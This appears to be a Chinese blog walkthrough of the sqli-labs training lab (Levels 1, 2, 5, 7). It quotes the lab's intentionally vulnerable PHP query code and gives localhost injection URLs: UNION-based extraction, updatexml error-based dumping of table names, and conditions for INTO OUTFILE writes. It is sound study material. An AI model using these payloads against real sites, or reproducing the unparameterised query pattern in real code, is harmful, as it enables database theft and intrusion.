mysql注入-sqli-labs-master复现

注意

对于注入闭合的方式,我们可以通过bp intruder模块去字典跑

Less-1

 进入第一关,可以看到页面提示,我们按照页面提示进行操作

查看源码,截取关键部分源码,在源码中可以看到,一条预编译的sql语句,而这条语句配合id传参,就是我们的注入点了,并且这是典型的字符型注入。

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

 http://127.0.0.1/sqli-labs-master/Less-1/?id=1‘ order by 3--+   查看有多少列

当把order by 3改成order by 4 时,结果如下图所示,从这人我们可以看到,表中有多少列

查看数据库,在注入回显时,但应该注意以下的点,数据回显是有限制的他可能不会回显完全,如下显示,用limit显示我们需要的数据,后面还可以依靠group_concat和concat两个函数。

http://127.0.0.1/sqli-labs-master/less-1/?id=1‘ union select 1,database(),3 limit 1,1--+icon-default.png?t=N7T8http://127.0.0.1/sqli-labs-master/less-1/?id=1%27%20union%20select%201,database(),3%20limit%201,1--+

当然也可以这样,http://127.0.0.1/sqli-labs-master/?id=-1%27union%20select%201,2,3–+

http://127.0.0.1/sqli-labs-master/Less-1/?id=1%27%20and%201=2%20union%20select%201,database(),3--+

后面用select查询语句,查询就行了

Less-2

后面的第二关,为数字型注入,与第一关没有大的区别,但是看源码变量id没有用引号,引起来,所以注入 时不用闭合

$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
$result=mysql_query($sql);
// mysql_query 是 PHP 中用于执行 MySQL 数据库查询的函数。它接受一个 SQL 查询字符串作为参数,并返回查询结果。如果查询成功,它将返回一个资源标识符,否则返回 false。
$row = mysql_fetch_array($result);
// mysql_fetch_array 是 PHP 中用于从查询结果集中获取一行作为关联数组、数字数组或两者兼有的函数。
// 它接受一个资源标识符作为参数,并返回一个包含查询结果的数组。如果没有更多的行可用,则返回 false

Less-5

第五关用报错注入来解比较方便

看一下源码部分

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

	if($row)
	{
  	echo '<font size="5" color="#FFFF00">';	
  	echo 'You are in...........';
  	echo "<br>";
    	echo "</font>";
  	}
	else 
	{
	
	echo '<font size="3" color="#FFFF00">';
	print_r(mysql_error());
	echo "</br></font>";	
	echo '<font color= "#0000ff" font size= 3>';	
	
	}
}
	else { echo "Please input the ID as parameter with numeric value";}

?>

http://127.0.0.1/sqli-labs-master/Less-5/?id=1?id=1%27%20and%20updatexml(1,concat(0x7e,(database())),0)--+

1、updatexml
updatexml(xml_doument,XPath_string,new_value)
第一个参数:XML_document是String格式,为XML文档对象的名称
第二个参数:XPath_string (Xpath格式的字符串) 
第三个参数:new_value,String格式,替换查找到的符合条件的数据

当我们第二个参数非法时,它就会报错,从而将一些敏感信息给暴露出来

如:updatexml(1,concat(0x7e,(database())),0)

因为0x7e(~)是非法所以会报错从而将database()一起报出来

注:updatexml显示的字符数有限,所以我们可以借助substr看后面的字符:

http://127.0.0.1/sqli-labs-master/Less-5/?id=1%27%20and%20updatexml(1,concat(0x7e,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27security%27)),0)--+

Less-7

我们看第七关,会发现他与其他关有些不同,这关考的是文件的注入

使用outfile三个条件:
1.用户必须具有FILE权限或者说是具有root权限。
2.在数据库配置文件中的 配置项含有:secure_file_priv=''。(注意在数据库中此项默认为secure_file_priv=null)。
3.知道数据库的绝对路径。

注:目标文件不能与现有文件冲突。

以下为mysql的一些函数

$sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

	if($row)
	{
  	// echo '<font color= "#FFFF00">';	
  	// echo 'You are in.... Use outfile......';
  	// echo "<br>";
  	// echo "</font>";
	echo "<font size='5' color= '#99FF00'>";
  	echo 'Your Login name:'. $row['username'];
  	echo "<br>";
  	echo 'Your Password:' .$row['password'];
  	echo "</font>";
  	}
	else 
	{
	echo '<font color= "#FFFF00">';
	echo 'You have an error in your SQL syntax';
	print_r(mysql_error());#这里源码是注释掉的,我打开,是检验后面出现的问题
	echo "</font>";  
	}
}
	else { echo "Please input the ID as parameter with numeric value";}

?>

我的secure-file-priv 是在运行的,注入失败,但我们的语句没问题

  • 13
    点赞
  • 11
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值